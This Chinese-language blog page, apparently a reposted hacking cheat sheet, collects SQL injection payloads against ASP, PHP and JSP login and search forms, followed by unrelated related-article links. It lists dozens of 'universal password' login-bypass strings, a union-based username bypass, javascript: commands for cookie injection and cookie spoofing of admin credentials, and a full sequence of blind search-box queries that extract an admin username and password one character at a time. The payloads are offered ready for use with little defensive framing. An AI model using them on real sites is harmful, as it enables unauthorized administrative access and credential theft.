另类登录注入形式:

经常有一类验证(ASP,PHP,JSP均存在),先判断user是否存在,ASP为例子:"select password from admin where user_name='"&request("user_name")&"'";然后再判断密码MD5与之对比。

猜解思路可以构造,user_name: xxx' and password>'a    如果password第一位大于a,则继续user_name: xxx' and password>'b.

seelct * from admin where username='admin' and password=''注入方法:

万能用户名: xxx' union select * from users/*

select * from admin where username=admin and password=pass注入方法:
账户:777 密码:999 union select * from admin;

万能密码:

用户名:admin'or''='
密码:'or''=' username:' or 1=1 or ''=' passwd:随便写 'or'='or'
'or''='
'or 1=1
"or"="
'or 1=1/* php
"or "a"="a
"or 1=1--
"or"="
"or"="a'='a
"or1=1--
"or=or"
''or'='or'
') or ('a'='a
'.).or.('.a.'='.a
'or 1=1
'or 1=1--
'or 1=1/*
'or"="a'='a
'or' ''=''
'or''='
'or''=''or''=' !!!!!
'or'=''
'or'='or'
'or.'a.'='a
'or1=1--
'or''='
a'or' =--
a'or'=--
or 'a'='a'
or =--
or1=--

cookie注入:

http://xxxx/view.asp?id=23
先访问http://xxxx/view.asp?id=23 接着在浏览器里输入:
javascript:alert(document.cookie="id="+escape("23 and 1=1"))
再访问http://xxxx/view.asp(未出错) 再输入:javascript:alert(document.cookie="id="+escape("23 and 1=2"))
再访问:http://xxxx/view.asp(出错) 该页面出错就表示可以用Cookie注入。

cookie欺骗
javascript:alert(document.cookie="adminuser="+escape("'or'='or'"));
javascript:alert(document.cookie="adminpass="+escape("'or'='or'"));
javascript:alert(document.cookie="admindj="+escape("1"));
然后login.asp改为admin_index.asp

搜索型注入

例如:
判断注入
%' and 1=1 and '%' ='
%' and 1=2 and '%' =' 判断是否存在表
%'and(select count(*)from admin)>0 and '%'='
判断是否存在字段段
%'and(select top 1 len(username)from admin) and '%'='
%'and(select top 1 len(password)from admin) and '%'='
猜字段中的内容范围
%'and(select top 1 asc(mid(username,1,1))from admin)>102 and '%'=' %'and(select top 1 asc(mid(username,1,1))from admin)>40 and '%'=' %'and(select top 1 asc(mid(username,1,1))from admin)=97 and '%'='
%'and(select top 1 asc(mid(username,2,1))from admin)=100 and '%'='
%'and(select top 1 asc(mid(username,3,1))from admin)=109 and '%'='
%'and(select top 1 asc(mid(username,4,1))from admin)=105 and '%'='
%'and(select top 1 asc(mid(username,5,1))from admin)=110 and '%'=' %'and(select top 1 asc(mid(password,1,1))from admin)=49 and '%'='
%'and(select top 1 asc(mid(password,2,1))from admin)=52 and '%'='
%'and(select top 1 asc(mid(password,3,1))from admin)=50 and '%'='
%'and(select top 1 asc(mid(password,4,1))from admin)=49 and '%'='
%'and(select top 1 asc(mid(password,5,1))from admin)=53 and '%'='
%'and(select top 1 asc(mid(password,6,1))from admin)=68 and '%'='
%'and(select top 1 asc(mid(password,7,1))from admin)=51 and '%'='
%'and(select top 1 asc(mid(password,8,1))from admin)=49 and '%'='
%'and(select top 1 asc(mid(password,9,1))from admin)=50 and '%'='
%'and(select top 1 asc(mid(password,10,1))from admin)=49 and '%'='
%'and(select top 1 asc(mid(password,11,1))from admin)=57 and '%'='
%'and(select top 1 asc(mid(password,12,1))from admin)=52 and '%'='
%'and(select top 1 asc(mid(password,13,1))from admin)=43 and '%'='
%'and(select top 1 asc(mid(password,14,1))from admin)=51 and '%'='
%'and(select top 1 asc(mid(password,15,1))from admin)=68 and '%'='
%'and(select top 1 asc(mid(password,16,1))from admin)=51 and '%'='

数据库其他注入思路 - 万能密码 - cookie注入 -搜索型注入的更多相关文章

  1. 注入语句详解(get注入,cookie注入,搜索型注入等)

    注意:对于普通的get注入,如果是字符型,前加'   后加 and ''=' 拆半法 ###################################### and exists (select ...

  2. Sqlserver2008+搜索型注入技术

    简单的判断搜索型注入漏洞存在不存在的办法是先搜索',如果出错,说明90%存在这个漏洞.然后搜索%,如果正常返回,说明95%有洞了. 然后再搜索一个关键字,比如2006吧,正常返回所有2006相关的信息 ...

  3. Sqli-LABS通关笔录-11[sql注入之万能密码以及登录框报错注入]

    在这一关卡我学到了 1.万能密码的构造,大概的去揣测正常的SQL语句是如何的. 2. 3. 00x1 SQL万能密码的构造 在登录框当中可以添加了一个单引号.报错信息如下所示: 据此报错,我们大概的可 ...

  4. 实验3 SQL注入原理-万能密码注入

    实验目的 (1)理解[万能密码]的原理 (2)学习[万能密码]的使用 实验原理 一.访问目标网站 1.选择一个存在漏洞的论坛 http://192.168.1.3:8009 进入 2.输入用户名[ad ...

  5. 从c#角度看万能密码SQL注入漏洞

    以前学习渗透时,虽然也玩过万能密码SQL注入漏洞登陆网站后台,但仅仅会用,并不理解其原理. 今天学习c#数据库这一块,正好学到了这方面的知识,才明白原来是怎么回事. 众所周知的万能密码SQL注入漏洞, ...

  6. pikachu-搜索型注入 #手工注入

    1.搜索型注入漏洞产生的原因: 在搭建网站的时候为了方便用户搜索该网站中的资源,程序员在写网站脚本的时候加入了搜索功能,但是忽略了对搜索变量的过滤,造成了搜索型注入漏洞,又称文本框注入. 2.搜索型注 ...

  7. 深入浅出带你玩转sqlilabs(三)--GET,POST,COOKIE,万能密码注入

    常见提交方式下的注入漏洞 WEB应用在数据传递接受中,针对SQL注入安全漏洞,由于数据大小,格式等原因,脚本在接受传递时会有多种传递方式,传递方式的不同将影响到安全测试的不同 第一点:数据常见提交方式 ...

  8. sql注入问题 java中将MySQL的数据库验证秘密加上 ' or '1'= '1 就可以出现万能密码

    password的字符串中,加上 ' or '1'= '1 就可以制作出万能密码. 原因如下: 原代码中密码是123456 执行数据库查询语句 实际上执行的SQL语句是: select * from ...

  9. 万能密码的SQL注入漏洞其PHP环境搭建及代码详解+防御手段

    目录 环境搭建 session会话 环境搭建代码 创建数据库脚本 登录界面html: 查询数据库是否为正确的账号密码php代码 连接数据库php代码: 注销登录代码(即关闭session会话) 登录成 ...

随机推荐

  1. 深海划水队项目--七天冲刺之day7

    站立式会议: 昨天已完成的工作:设置游戏按键,检查重合.检查是否超出边界.检查是否可以下落,方块的硬下落和软下落方法. 今日已完成的工作:添加方法:方块的着陆和消除. 工作中遇到的困难:在消除方块的时 ...

  2. Android-LogUtil-工具类

    LogUtil-工具类 是专门Log日志打印 和 Toast的提示,的公共方法 package common.library.utils; import android.content.Context ...

  3. vue+elementui后台管理快捷代码片段

    Form <el-form labelPosition="right" labelWidth="10%" size="small" : ...

  4. winform 开发中 把耗时操作 封装起来 异步执行(.net 4.0)

    .先定义一个 BackgroundTask.cs 代码如下: public class BackgroundTask { private static WaitDialogForm LoadingDl ...

  5. UDP通讯

    上一篇有说到TCP通讯,这篇来谈谈UDP通讯方式 基于Udp协议是无连接模式通讯,占用资源少,响应速度快,延时低.至于可靠性,可通过应用层的控制来满足.(不可靠连接) (1).建立一个套接字(Sock ...

  6. SharePoint Adventures : Using Claims with Reporting Services

    Cannot convert claims identity to a windows token.  This may be due to user not logging in using win ...

  7. Spring-JDBDTamplate 的操作

    基本的    增,删,改:(只演示增加 因为他们调用的方法都是update方法): package com.hxzy.spring_jdbc_template; import org.springfr ...

  8. AngularJS入门讲解1:angular基本概念

    AngularJS应用程序主要有三个组成部分: 模板(Templates) 模板是您用HTML和CSS编写的文件,展现应用的视图. 您可给HTML添加新的元素.属性标记,作为AngularJS编译器的 ...

  9. [转] 检查更新时出错:无法启动更新检查(错误代码为 4: 0x80070005 — system level)

    Google浏览器Chrome更新到时候提示错误:检查更新时出错:无法启动更新检查(错误代码为 4: 0x80070005 -- system level),很有可能是Chrome更新服务被禁用了,我 ...

  10. day06 --class --home

    # -*- coding: utf-8 -*-# @Time : 2018/12/26 20:29# @Author : Endless-cloud# @Site : # @File : day 06 ...